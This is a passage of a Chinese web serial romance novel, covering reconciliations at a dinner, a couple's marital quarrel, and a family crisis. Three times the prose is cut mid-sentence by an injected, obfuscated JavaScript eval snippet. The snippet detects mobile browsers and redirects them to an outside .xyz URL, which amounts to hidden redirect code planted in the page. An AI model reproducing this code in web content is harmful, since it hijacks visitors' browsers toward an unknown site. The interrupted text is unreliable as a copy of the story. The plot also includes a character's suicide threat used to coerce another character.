“我们真的要熄灯了，等下宿管阿姨要抓人的……” 甄好为难的话语被林免粗声粗气地打断：“甄好，我那么喜欢你，你就这么对我吗？这么点时间都不愿意给我吗？！” 话音落地的一瞬间，两边都安静得可怕。 甄好被他吼得愣住，等反应过来后握着手机的手都在微微发抖。 她又感受到了当初面对林海时的那种恐惧，而这两次经历都是林免带给她的。 新仇旧恨一齐涌上甄好心头，她对林免的厌恶又多了几分：“林免，你是不是太自私了？为什么你喜欢我我就要给你时间，我都说了我们要熄灯了，你听不懂吗？” 一时上头说出去的话往往带着滔天怒气，甄好说完才意识到自己说了什么，大脑瞬间一片空白。 林免没有马上说话，但可以听见他的呼吸声越来越重，甄好的心也越来越沉，她急于摆脱眼下胶着的状态，于是强迫自己冷静道：“我真的要挂电话了……” “不准挂电话！”林免突然大吼出声，满腔怒意几乎要透过手机变成实物刺向甄好，而他接下来说的话更是让她从头凉到脚。 林免一个字一个字、咬紧牙关，声音像是从地狱里传出来的：“甄好，你要是敢挂电话，我就从天台上跳下去！” 65. 迟来的一句道歉 我终于可以坦然地面对从前的一部分自己。 自卑的我、怯懦的我、拧巴的我，以及幼稚的我。 ——《橘色告白》 林免这句话让甄好握着的手机险些掉到地上。 心慌之下，她从走廊小跑到楼道，才敢用有些发抖的声音问道：“你到底想怎样？” 能不能放过她？ 都过去这么多年了，能不能放过她？ 甄好从没有一刻觉得被人喜欢是一件这么恐怖的事情，恐怖到让她坐立难安。 “嘿嘿，不好意思啊，刚刚就是跟你开个玩笑。”林免顿时又换成笑嘻嘻的声音。 甄好：“……” 他竟然说这是开玩笑？她都要被吓死了好吗？！ 甄好满腔怒火无处发泄，既然对方是开玩笑的，那这通电话就更没有必要继续了。 再开口时，她的声音恢复冷淡：“没事的话我挂电话了。” 她甚至不敢说挂就挂，生怕林免又用别的话来威胁她。 果真，林免再度拔高声音：“甄好，不准挂电话！否则我真的跳下去，这次不跟你开玩笑，你听……是风声。” “林免！”甄好没忍住喊出声，“你到底要我怎样？！” 她的声音引来了周淳芮：“好好，你在跟谁打电话啊？” 从甄好出去接电话开始，周淳芮就无意间瞥见她越来越难看的脸色，见她离开走廊来到漆黑的楼道，更是不放心地跟了过来。 没想到真的让她听到了甄好的怒吼。 在她的印象里，甄好一直冷冷淡淡得甚至会让人误会是内向，鲜少有这样情绪失控的时刻。 见甄好半天没说话，她不由得更担心了：“好好？” “我没事，你先回寝室吧，我有点事要处理。”甄好强迫自己冷静下来，用如常的声音回答周淳芮。 “好，有事一定要叫我。”既然甄好都这样说了，周淳芮自然不会去窥探她的隐私，很快就走回了寝室。 “说吧，你到底要我怎样……”冷静下来的甄好声音里满是疲惫。 她的人生好像总是好不起来，只要看到一点点曙光，就会有更大的黑暗覆盖而来，叫她无法得到真正的喘息。 “我要你做的，很简单……”林免无赖地笑了笑，转而问了一个问题，“听说你和时序那小子在一起了？” 猛然听到时序的名字，甄好的心再一次跳快，囫囵道：“我不知道你在说什么……” “不是时序？”林免自顾自道，“难道是师杭与那家伙？” “没有的事！”甄好反驳道。 “不管是谁，我要你跟他分开。”林免的的声音几经变化，变得阴毒低沉，笑声也变得有些癫狂，“然后跟我在一起，做我林免的女朋友。” 听到这话，甄好实在没忍住，脱口而出；“你有病吧？！” 林免却毫不在意她的谩骂，继续逼迫道：“如果你不答应我，我就跳下去，我真的不开玩笑！” “那你跳吧！”甄好气得完全失去理智，恶毒的话一句接一句，“我赌你不敢跳！” “甄好，你还有没有良心？！”林免怒吼出声，眼睛红得不像话。 “是，我没有良心，所以……”甄好咬牙切齿道，“以后不要再找我了。” 说完，她便狠心挂断了电话。 这件事之后，甄好战战兢兢地过了大半个月，生怕林免真的出什么事，可她又没有勇气去确认，只能一天一天地熬着。 直到周淳芮打听来了消息并告诉他：“林免那臭小子不知道过得有多好，听说生意越做越顺利，小小年纪就已经是个大老板了。” 三人无话不谈，周淳芮和鄢云书对林免的威胁电话知道得一清二楚，所以都有帮甄好留意林免的动向。 “那就好。”甄好再怎么厌恶林免，也不希望真的出现人命。 从陡然重逢到入席，林免只在刚见面时跟甄好问了好，随后两人便像不认识似的各安一隅。 只是这一晚的惊喜未免有点多，甄好又在席上看到了老熟人。 不过他们没有机会打招呼，因为相关单位的压轴人物到了。 “各位真是不好意思，现在不允许铺张浪费，只能大家一起吃个便饭。”大人物说话的时候，甄好感觉有一道目光紧紧锁住自己。 她以为是坐在自己对面的时序，可仔细看去，那道目光又消失无踪。 席上基本上都是男士们在发言，几位女士只是偶尔笑着搭搭话。中途有人出去抽烟或去洗手间，氛围慢慢变得轻松起来。 “医院找我急事，我先去一趟。”因为知道医院随时会有病例找自己，所以鄢云书并没有如甄好所说，在大家觥筹交错之际仍旧滴酒未沾，果真事情就来了。 简单地交代过后，她便提前离席了。 甄好和周淳芮两人来到露台上透气。 餐厅位于高楼，远眺是城市的夜景，繁华又绚烂。 “甄好同学。”两人身后忽然传来一道低沉醇厚的声音。 她们回头时，师杭与已经缓步来到两人面前。 “好久不见。”男人脸上带着从容的笑，语调也平静温和，“刚刚在席上看见你，有点惊讶。” 原来刚刚那道若有似无的目光来自他。 看着近在眼前的师杭与，甄好整个人都呆住了。 这种冲击力与刚刚在饭局上的遥遥对望是不一样的，近距离的视觉感受让她连呼吸都忘了。 她想过会再见683同学，但没想过是在这样的场合下。 席上不仅有相关单位的领导，有曾经的追求者，有知己姐妹，有同门师兄妹，还有……“床伴情人”。 床伴情人时序远远看见甄好和师杭与面对面而立，在原地停顿了会儿，最终还是掉转脚尖朝另一个方向走去。 他愿意给她时间和空间，等她清理完心中所有的桎梏。 周淳芮早在看见来人是师杭与时，就悄无声息地走开了。她走在一个拐角处，正好迎面和时序遇上。 “你都看到了？”见时序一脸冷冽的表情，周淳芮立刻猜到了什么。 “你想说什么？”时序不承认也不否认。 “小裴总，你条件这么好，一定有很多女人贴上来吧？”周淳芮看着面前这个无论是皮相还是家世都好到无可挑剔的男人，忽然觉得如果自己再继续撮合他和甄好，是不是有将好姐妹推入火坑的嫌疑。 “嗯，是很多。”时序毫不隐瞒。 “我就知道。”周淳芮有点不想嗑这对自己小时候就在嗑的CP了。 人越长大，越觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048555|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平淡是真，像裴家这种高门大户，倘若甄好真的嫁进去了，一定要吃普通人无法想象的苦吧。 她不依。 谁知时序话锋一转：“我跟她们说，我喜欢男人。” “噗——”周淳芮没忍住笑出声，“你真这么跟那些女人说的啊？” 时序点头：“嗯。” “你们家老头子怎么没打死你呢？”周淳芮一想到整个豪门圈都在猜测时序是不是真的出柜了，就觉得画面太美，不忍直视。 “差不多了。”时序苦笑道。 不仅是裴家人，就连一向温柔开明的时谙都会用恨铁不成钢的眼神看着他，然后叹一句：“小序啊，你是要气死你爷爷吗？” 裴老爷子如今八十岁有余，裴家人都不敢将这事闹到他跟前，只是不知道能捂到何时。 “因为好好？”周淳芮突然意识到什么。 时序没有回答，但沉默就是最好的回答。 “我看好你，加油，小裴总。”周淳芮抬起手，本想拍拍时序的肩膀，想了想还是放了下来。 姐妹的男人，哪怕是社交礼仪的触碰也不行。 而露台处，师杭与的声音裹着冬夜清凉的风，送到甄好耳边：“甄好同学，对不起。” “嗯？”猛然听到这样郑重的一句道歉，甄好有些反应不过来，“对不起什么？” “一直都想跟你说一句对不起，但年少时总是不想轻易低头，总是想着再等等，等一个合适的时机。”师杭与微微侧头，脸上是释然的笑，“没想到这一等，就等了十多年。” “当初都是喻玲她们在捣鬼，是我一直错怪了你，真的很对不起。”师杭与再次真诚地道歉。 在师杭与平静的叙述中，藏在甄好心里那份隐秘的委屈终于得以见天光，“告状精”这三个字她背负了太久太久，而今终于可以卸下来。她眼角眉梢顿时都溢满了轻松的笑意，连声音也变得轻盈：“没关系。” 不是所有的“对不起”都能够换来一句“没关系”，他们何其幸运，在岁月漫长的洪流中，还能够替过去那个小小的自己寻回失去的本心，然后重新来过。 两人没再在此处多待，师杭与先转身回了包厢，甄好则掉转脚尖朝另一个方向而去。 听说近年来闽市的夜景很美，她还没有仔细看过。 这家餐厅处于高楼临江的位置，视野很好，她准备绕一圈再回到包厢。 甄好刚走出没几步，就看到了一个熟悉的背影。 这么多年过去了，她看到他还是会觉得浑身不自在，心跳也在一瞬间加速。 她的双腿像灌了铅一般沉重，不管是后退还是前进都没有勇气。 微凉的风拂过耳畔，一张脸倏地闯进她的脑海中。 师杭与笑着跟她说“对不起”，成熟的男人和青涩的少年不断转换，最终定在她少女时期看了无数次的挺拔背影上。 她的暗恋时光满是一个个不明心意的背影，那样心酸却又是那般让她欣喜雀跃，那换而言之…… 甄好的目光再度落在离自己不远的那道身影上，一股不知何处生来的勇气促使她一步一步地走向那个人。 “嗨。”她轻笑着和对方打招呼。 男人转身见到是她，惊讶之余很快露出欣喜的神情：“是你啊，好好。” 66. 撒娇男人真要命 原谅一切就是放过自己，只有心无一物，才能慢慢填补空虚，才能更好地爱自己。 ——《橘色告白》 甄好一步一步走向困住自己多年的心魔时，就如十几分钟前师杭与一步一步朝她走去，他们都一样，脚步的尽头是救赎。 是对那段兵荒马乱的青春一个交代，也是与年少轻狂的自己和解。 甄好走到栏杆处，并未看身旁之人，而是目视前方，嘴角带着放松的笑意。 这恐怕是他们认识这么多年以来，最自在的时刻，没有剑拔弩张，也没有喜恶悲观，两人都只是静静地站立着，谁也没有开口先说话。 “对不起。” “对不起。” 两人同时侧头看向对方，异口同声地说出这三个字。 “噗——”甄好先忍不住笑了，眉眼生动，明亮的双眸比眼前的夜景还要璀璨。 “难得我们这样默契。”林免眼中满是坦然，“这一次能不能让我先说？” “嗯。”甄好轻声道。 “对不起，小时候不懂事，纠缠了你那么久；对不起，从前不成熟的喜欢让你感到了苦恼；更对不起的是……”林免顿了顿，才语气郑重地继续说，“我不该那样偏激地威胁你，当时吓坏了吧？” 应该怎么去形容甄好此时此刻的心情呢？ 她从没想过要得到林免的道歉，更没想到原来迟到的安慰如此有力量，像有人跨越时空，轻声而温柔地安抚着十六岁的自己，让那些辗转于深夜的恐惧渐渐散去，直至消失…… 短短半个小时内，甄好经历了四次和解。 一次是与十四岁的甄好和解，她终于可以告诉那个小女孩：“你不是告状精，你洗脱这个莫须有的罪名了。” 一次是与师杭与和解，她终于可以昂首挺胸地与少年师杭与并肩而立。 一次是与十六岁的甄好和解，她终于可以轻轻拥抱那个胆小的自己：“好好，不要怕，你的未来有很多爱你的人。” 还有一次是与林免和解，他们终于相逢一笑泯恩仇，终于能够平静地跟对方说一声“对不起”。 “谢谢你，林免。”甄好没有多说别的，只是真心地感谢道。 这一晚她很知足，好像一团乱的毛线终于找到了结，并成功打开理顺，她整个人随之放松下来。 原来原谅一切就是放过自己，就是海阔天空。 “小时候不懂事，将你亲手制作的诚意撕毁还扔进垃圾桶，我真的感到非常抱歉。”甄好没等林免说什么，接着说道，“其实当时做完我就后悔了，可莫名其妙的高傲让我低不下头向你道歉。这些年来，每每想起这件事，我都觉得很对不起你。真的对不起，林免同学。” 林免后来追求她的方式固然偏激了点，可十三岁的林免没有错，他只是满心欢喜亲手制作了贺卡想要送给喜欢的女孩子而已，她不该当着全班同学的面那样践踏一个小小少年的真心。 这件事，是她做错了。 “甄好，也谢谢你。”林免心灵上的所有触动最终也只化为这样一句简单的话。 江畔的风好似变得更温柔了，承载着一件件轻盈的心事随风而去。 甄好再回到席间时，已经有不少人陆陆续续离开了。 连周淳芮都不见了人影。 甄好狐疑地拿出手机想要联系她，才发现早在半个小时前她就已经给自己留了言：“好好，我有事先走了。你搭小裴总的车回来吧。” 周淳芮撮合的心思那样明显，甄好哭笑不得。 如果让周淳芮知道她和时序早已暗度陈仓，不知道她会不会死得很惨。 她思索间，时序已经来到她身前：“我送你回家。” 甄好：“……”这下她更有理由怀疑这两人是故意的了，否则这男人怎么问也不问就说送自己回家。 “不用了，有人会送我回去。”甄好突然生出恶作剧的心思。 “谁？”时序眉心一拧。 不可能是师杭与，那只能是林免那小子了…… 他突然想收回给林免儿女的那两个红包。 有老婆孩子了，还来招惹甄好做什么？ 一股气堵在时序胸膛里，上不来下不去，憋得他很难受。 “时序，是不是我说什么你都信呀？”甄好拿起自己的包，率先朝门口走去，见人没跟上，回头道，“不是要送我回家？” 时序这才反应过来她方才是在跟自己开玩笑。 这个女人…… 车上。 时序刚准备扣安全带，就听甄好说道：“我想先回趟出租房。” 他扣安全带的手一顿，点头道：“嗯。” 这里离甄好住的小区不算远，开车半个小时的距离。 车子缓缓启动，甄好将车窗降下来了些许。晚风轻轻地吹拂在耳畔，像情人的手在轻抚。 身心放松之下，甄好不自觉地哼起了曲子。 正在专心开车的时序忍不住分神看了她一眼，她无所察觉，仍旧沉浸在自己的世界当中。 时序心下讶然。 他所认识的甄好，一直内敛文静到让人觉得有些冷漠，鲜少有这样外放的时刻。 “什么事情让你这么开心？”他开口问道。 他更想知道的是，是谁让她这么开心。 “秘密。”甄好将视线从窗外收回，落在男人近乎完美的侧脸上，故意卖了个关子。 时序握着方向盘的手微微用力，内心涌起一股陌生的感觉。 近几日来，他越来越感觉到自己对甄好的占有欲在逐步加强，比如此时此刻，他很想知道到底是谁还能够牵动她的情绪。 他原以为甄好只是开开玩笑，最后还是会告诉自己，没想到她真的再无后话。 时序胸口顿时憋了一股气，想继续追问又拉不下脸来，堵得他十分难受。 之后的一路上两人都没再说话，好不容易熬到了目的地，时序一下车就不着痕迹地吐出一大口气。 甄好没注意到他的异常，她一门心思只想取回自己遗落在出租屋的视频素材。 加上白天的演出，她可以剪出一期优质vlog来了。 就在她拿到视频转身走出房间的一瞬间，不小心与跟在身后的男人直直撞上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054774|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “唔——”甄好没想到时序会离自己这么近，惊吓之余脚下没踩稳，整个人朝身后的大床倒去。 时序本能地伸手想要拉住她，奈何空间逼仄，他不仅没能成功拉住人，反倒连自己也赔了进去。 倒在甄好身上的一瞬间，他拼尽全力用手撑住床，这才不至于弄伤身下的甄好。 只是这过于暧昧的姿势还是让空气中的温度急剧上升着。 很奇怪，明明两人已经坦诚相见过那么多次，可甄好还是会觉得不好意思，哪怕只是这样一个普通的姿势。 “我……你……”面对近在咫尺的男人，甄好的眼神开始乱瞟，不知道自己该说什么，“半天才挤出来一句，“你快起来。” 然而为时已晚，时序已经顺势躺下来，长手搂着她，声音略显疲惫道：“陪我躺会儿。” 听着他不太对劲的声音，甄好没再坚持要起来，而是陪他安静地躺着。 时序还细心地拉过棉被盖在两人身上，温暖慢慢席卷甄好全身，让她渐渐有了困意。 甄好不知道自己是什么时候睡着的，再醒来时她整个人被时序环抱在怀里，他滚烫的体温让她在冬日里甚至有点热。 她小幅度地动了动身子，想把手伸出棉被外来。谁知她刚准备抬手，时序的大手就握住她的手，而后十指相扣，嗓音哑得不像话：“别动，再睡会儿。” 甄好真的就不敢再动。 片刻后，时序忽然睁开眼睛。大脑恢复清明的瞬间，他才意识到自己不知不觉抱着甄好睡着了。 抱着心爱之人睡觉的感觉太过安心，他方才恍然以为是正常的睡觉时间。 他拿过一旁的手机看了一眼时间。 这个时间送甄好回去有点尴尬，可是…… “好好，已经半夜一点半了。”时序坐起身，开了柔和的小夜灯。 甄好知道他在想什么，伸手抚摸他的脸颊，安慰道：“别担心，一晚上不回家没事的，我知道怎么跟家里人说。” 在甄好的成长过程中，一直家教甚严，哪怕她已经成年多年，依旧很少有夜不归宿的时候。 甄好说完闻了一下自己还带着烟味的头发，有点嫌弃地说道：“我先去洗个澡。” 说着，她起身就要下床，细白的手腕却被时序握住。 “怎么了？”她不明所以地回头看他。 “一起洗。”男人的声音染上一丝情欲。 “不要。”甄好想也没想就拒绝道。 时序用手指轻轻地挠了挠她的手心，瞬间就换上了一副小狗一样委屈巴巴的表情：“可是我想……就一起嘛，好不好？” 甄好的注意力瞬间被时序与平时大相径庭的语气吸引，甚至愕然地瞪大双眼：“小裴总，你是在向我撒娇吗？” 她问出这个问题的一刹那，时序原本想要否认，可转念一想，又轻挠了两下女人柔软的手心：“是，我在对你撒娇，好不好嘛……” 是谁说撒娇女人最好命的？明明男人撒娇也很要命…… 当花洒淋下来的时候，甄好都没反应过来自己是怎么被时序骗进浴室一起洗澡的。 67. 承认自己是小三 彩虹高高悬挂在天边，风吹着乌云慢慢靠近。 阵雨从来不会停止。 ——《橘色告白》 秦家。 大年初二回娘家，秦深这对新婚夫妇携父母一同去了丰家。 丰母准备了一大桌子菜招待新女婿和亲家，席上其乐融融。 除了秦母，其他人都喝了点酒，氛围更是在酒后变得越发融洽。 有丰家的亲戚笑着问起：“小秦是怎么追到我们家婉婉的啊？说给大家听听嘛。” 丰婉的堂妹附和道：“是啊，让我听听姐姐姐夫的爱情故事，以后就照着姐夫这样的找对象。” 两人说完，秦深原本还算平静的脸色陡然变得很不好看，却还是要强颜欢笑地应付：“婉婉懂得体贴人，能娶到她是我的福气。” 对于她的答非所问，丰婉的堂妹并不满意，又追问：“姐夫，你就给大家讲讲你们的故事嘛。” 丰婉也不想谈这个话题，难道要她告诉亲戚家人自己是介入别人感情的第三者吗？她说不出口。 于是她忙替秦深解围：“静静，我可是听说有人在追你，什么时候……” “哎呀，我突然想起来我还有事，我吃饱先走啦，各位叔叔伯伯阿姨婶婶哥哥嫂子姐夫姐姐慢慢吃。”丰静没给丰婉继续说下去的机会。 她可不想谈个恋爱还要被家长们审判，那样就太没劲了。 再说了，才刚谈上就弄得尽人皆知的，等下对方要她负责任怎么办？ 她可不想小小年纪就被情情爱爱绑住，她还想多潇洒几年呢。 因为丰静的离席，爱情故事这个话题也就没再继续，席间再次推杯换盏起来。 秦深没把握住度，喝多了，中间吐了一回，还想回到餐桌上与老丈人继续喝个高下，被秦母及时拦住：“阿深，别喝了。” “妈，您别管我。”秦深打了一个酒嗝，语气略显自嘲，“今天我是新女婿，我高兴，高兴喝几杯怎么了？我……” 他话没说完又有要吐的趋势，不远处的丰婉见状大步走来。 秦母着急地去扶他，下意识脱口而出：“好好，你快管管他！” 话一出口，她整个人呆住了。 此时丰婉的手正好放在秦深的肩上，想轻拍几下让他舒服些，猛地听到“好好”这两个字，浑身僵住了。 又是好好。 她都嫁来秦家了，为什么还是摆脱不了好好这个人？ 秦深也就算了，怎么连秦深的母亲也这样？ “婉婉——”看着丰婉铁青的脸，秦母急于说点什么补救，却一时想不到好的说辞。 猛然听到甄好的名字，秦深也怔住了。那种熟悉的心痛感再度裹挟住他，叫他胃里更难受了。 身体和生理的不适都让他想要逃离眼下的场景，他一刻也待不下去，转身就朝门口跑去。 从丰家回来后，秦深和丰婉开启了一场默契的冷战。 秦母对此愧疚不已，想要找儿媳妇道歉，却话到嘴边总是被她冷冷的神情吓退，只能转而找自己的儿子：“阿深，都怪妈妈口快，惹婉婉不高兴了。妈能做点什么，你尽管跟妈说，妈能做的一定做。” 秦深不以为然道：“只是叫错了一个名字而已，不知道矫情什么，别管她，惯的。” 这几天，丰婉没给过他们家任何一个人好脸色，就是回娘家小住的秦家三姐妹来了，她也冷着一张脸，人也不喊。对秦深更是像仇人一样，一个眼神都没给过他。 好好的一个喜庆年，本该热热闹闹喜气洋洋，可因为丰婉的态度变得冷冷清清，家不像家，秦家人对丰婉难免也感到不满。 有甄好这个珠玉在前，丰婉的所作所为一下子就显得小家子气起来。尤其是秦父，气得唉声叹气：“都是你这个臭小子造的孽，你要是不和好好退婚，会娶这么一个祖宗回来吗？啊？！” “阿爸，别说了。”秦家三姐忙拦住秦父就要落下去的拐杖，“等下再叫婉婉听见了，这个家还不知道要乱成什么样。” 秦深的后悔之心在这样的环境下日益见长，但世俗的东西仍旧牵制着他。 他强忍着冲动没有去联系甄好。 在即将返工的前一晚，秦深和丰婉爆发了激烈的争吵。 是丰婉先忍不住，来到了他整个春节最常待的书房，语调冷静地问他：“秦深，往后的日子你想就这么过吗？” 距离他们的婚礼不过十天而已，婚礼当天的甜蜜像楚门的世界，都是假的。 “你想说什么？”秦深同样冷静道。 “我只想问你一个问题。”丰婉再也忍不住想要深究那个她明知道答案的问题。 “什么问题？”秦深说话的时候甚至没有看着她。 “你能看着我吗？”丰婉的情绪有了起伏，“我要你看着我回答。” “你无不无聊？”秦深不耐烦地说道，但到底还是抬眸与她对视，“想问什么，问吧，我一会儿还有工作要处理。” “好好，真的有那么好吗？”丰婉一个字一个字地咬牙说道，“好到让你，让婆婆都对她念念不忘？” 一听到甄好的名字，秦深的脸色顿时变得冷冽，语气也冷冷的：“不提她行吗？” 丰婉再也受不了地大吼出声：“既然她那么好，好到让你连她的名字都不敢听到，那你为什么要答应跟我结婚？！” 听到这话，秦深不怒反笑。 “你笑什么？”丰婉被他笑得莫名其妙。 “我笑什么？你还问我笑什么？我笑什么你不知道吗？”秦深只觉得这个问题好笑，“丰婉，你是不是忘记我们是怎么在一起的了？你当初是怎么说的你全忘了吗？” 丰婉盈在眼眶里的泪终于落了下来。 是啊，当初是她主动勾引秦深的，是她说不介意他心里有别人，是她说只要他愿意娶她，她就敢不管不顾地嫁给他…… 可如今她又在做什么？ 的确可笑。 “怎么没话说了？”秦深一步一步走近她，每个字都像淬了毒液似的，“承认自己是小三有那么难吗？” 啪—— 秦深的话音一落，随之而来的便是一记响亮的巴掌声。 “秦深，你无耻！”丰婉用尽全身力气打出一个耳光后，便转头摔门而去。 在秦家兵荒马乱的这几日，甄好的日子也不好过。 自从那晚与时序温存过后，再回到甄家，整个世界像水中倒影，随便一点风吹草动都能让平静的湖面起涟漪。 何允莲的状态越来越差，严重到夜里看见摇晃的树影都会感到害怕，觉得那是鬼魅。 无论甄家人如何劝说，她都油盐不进，只信自己想信的。 医生说的话，她认为是医生在安慰自己；甄东成和儿女说的话，她依旧认为是在欺骗自己。偏偏邻里邻外，以及她不知道从哪里认识来的老姐妹说的话，她深信不疑。 包括但不限于，隔壁阿婶说某某药吃了很管用，她就立刻要姐弟三人中的谁一定要帮她买来；王家媳妇称自己也是同样的症状，吃了某种药膳痊愈至今，她也马上要把药方搞到手；李家阿婆神神道道地告诉她，恐是家里有不干净的东西，应当去问问神婆，她就更来劲了，非吵着要甄奶奶去找个神婆问一问…… 诸如此类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058218|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事件，不胜枚举。 而最为矛盾的是，这几个月来，包括过完初二又带何允莲去拜访了一位很有名的老中医后，所有西医和中医都判定她身体没有什么大问题，只是体质有点虚，需要加强营养、保证睡眠，同时保持心情愉悦，慢慢调理就会好转。 然而何允莲怎么都不相信，饭菜稍微冷一点都不敢吃，吹了风的白开水也不敢送到嘴里…… 对于她的这一系列操作，甄东成无奈极了：“真不知道你妈是胆小还是胆大包天，正常的食物和水不敢吃喝，别人随口一说的药，她什么都敢往嘴里塞。” 整个春节，甄家可以说是被何允莲折腾得吃不好也睡不好，每个人都十分头疼。 花了很多冤枉钱且不说，关键是何允莲就像一个情绪黑洞，身边人的能量怎么都填不满，甚至有越破越大的趋势。 甄好感到心力交瘁，在何允莲的又一次电话轰炸之下，她终于绷不住了。 那时她在录制视频，最近因为何允莲的事情，她的视频存货即将用完，必须加快进度制作几期，否则极有可能开天窗。 何允莲生病是一回事，要赚钱又是另一回事，她不可能就此停下追求事业的脚步。 奈何她接起何允莲的电话刚说了一句“妈，我现在在忙”，对方劈头盖脸就是一顿抱怨：“好好，你不知道妈妈生病了吗？怎么就只知道工作，什么时候都是在忙忙忙。想叫个人出来陪我逛街怎么就这么难！你们是都嫌弃我这个破老母了是吧？” 说着，她就开始哽咽，一副受欺负了的语气：“我知道我让你们很失望，可我也不想这样啊，我也想快点好起来，不想给你们添麻烦……” 甄好揉了揉发疼的额角，半晌都没说话。 “好好，你怎么不说话？”何允莲的话一句接一句，“你们姐弟三人都一样，都嫌弃我这个破老母，连话都不肯跟我说……” 甄好实在受不了她的胡搅蛮缠，忍不住大声打断：“妈，你到底要我怎样？！” 面对何允莲无穷无尽的索取，甄好除了感到心疼，更多的是厌烦。 她们不是世俗意义上的母女，她从三个月大就和母亲分开，自此再没真正一起生活过，母女情本就稀薄得可怜，如今被何允莲这么一消耗，她只觉得疲惫。 从未产生过感情，又如何能够在一方有情绪需求的时候，另一方就可以做到予取予求？ 反正甄好做不到。 何允莲被她吼得话都忘记说了。 “抱歉，工作上遇到了点困难，不是故意大声吼你的。”甄好快速冷静下来，将声音放软了些，“妈，等我忙完再给你回电话好不好？你先去逛逛街，看到喜欢的就买。” “哦，好。”何允莲说到底还是有些怵这个大女儿的，被她这么一吼，顿时消停了，乖乖地挂了电话。 被何允莲这么一打断，甄好也没了录视频的兴致，便打开书房门，想去顶楼透透气。 甄家住的是一栋三层小洋楼，在闽镇，几乎家家户户都是这样的建筑。 她沿着楼梯缓缓地爬着，思绪在台阶一级一级升高时，渐渐趋于放空。 走到楼梯口时，她听见外面的露台有人在打电话，是甄东成。 她本想转身下楼，不欲打搅父亲，却在听到一句话后，再也提不动脚步。 甄东成挂了电话一回头就看到了站在自己身后的甄好，她惨白的脸色昭示着什么不言而喻。 “好好，你……你都听到了？”但甄东成仍旧抱着侥幸心理问出这个问题。 “阿爸……”甄好开口才发现自己的声音都在颤抖，“你刚刚说的，都是真的吗？” 68. 他想要有一个家 他想要一个家。 一个有她的家。 ——《橘色告白》 看见甄东成缓缓点下的头，甄好只觉得浑身发凉，腿软到一阵踉跄。 “好好，是爸爸没用。”这几个月以来，何允莲的生病加上自己这摊子破事让他背负着巨大的压力，可他不敢跟儿女们吐露半个字。 被甄好发现是他不曾想过的意外。 片刻后，父女俩双双坐在台阶上，气氛却持续沉默着。 不知过了多久，甄东成才主动开口，声音仿佛一下子老了十岁：“好好，我真的尽力了……” 他眼睛微微泛红，两鬓已经有些斑白，早已不再是那个高大挺拔的男人。 也是这一刻，甄好才真切地意识到，父亲老了。 人类在时间面前真的毫无还手之力，皱纹会爬上曾经饱满的脸颊，白发会染遍三千青丝，苍老是岁月赋予的休止符…… “阿爸，到底怎么回事？”甄好双唇嗫嚅着，到底还是选择先了解事情的来龙去脉。 “可以不说吗？”甄东成眼神闪躲，一副不想详谈的模样。 “阿爸……”甄好的语气登时严肃起来，“你不说清楚，我要如何想办法帮忙？再说了，我们是一家人，有什么事是不能商量的？” 在她恳切的眼神中，甄东成终于将事情和盘托出。 “事情就是这样的……”他只是简单地说了两句，说完便垂下头，不敢再看甄好。 “阿爸，你没说实话。”甄好何其了解她这个父亲。甄东成本性纯良，性子温和到在甄奶奶的口中成了“懦弱”，连说点谎话都会坐立不安的人怎么可能在她面前瞒天过海？ “阿爸，你就不要瞒着我了。”甄好追问道。 五分钟后，甄好失魂落魄地回到了书房。 有些真相的确不如不知道，有些真相却不得不知道。 甄好下楼后，甄东成一个人坐在露台抽了很久的烟，直到日暮西山，直到繁星亮起。 他想过不如从高楼跳下去算了，可这是他和家人们辛辛苦苦才建好并装修起来的小家，他不舍得被自己弄脏。 身后甄美的声音将他拉回了现实，是二女儿上来叫他下楼吃晚饭。 他应了一声，又看了远处连绵起伏的群山，而后重重地叹了一口气。 这大山，他终是没能走得出去。 饭桌上，甄好像没事发生一样，照旧吃得很少，只是话比以往更少了。 何允莲依旧一会儿嫌菜太淡，一会儿嫌汤太咸，总之餐桌上没有一道菜是她吃起来满意的。 甄东成偶尔会与甄好对视，每一次都心虚地低头佯装夹菜或扒饭，父女俩的秘密在场的无人察觉。 快吃完的时候，甄好终于开口说道：“吃完饭我和阿美就回市区，明天开工了。” “嗯嗯。”甄东成心不在焉地点头应道。 何允莲不满地嘟哝道：“上班上班，一天天的就知道上班！” “难道要大家都辞职在家陪着你吗？”甄东成本就心情不佳，听见她这样说忍不住呛了一句。 “甄东成，你长本事了是吗？”何允莲把碗一摔，“一天到晚就知道说说说，也没见你往家里拿几个钱！” “钱钱钱，除了钱你眼里还有什么？”甄东成忍无可忍，一向温和的他气红了眼，“我这些年来没少了你们娘几个吃喝吧？啊？” 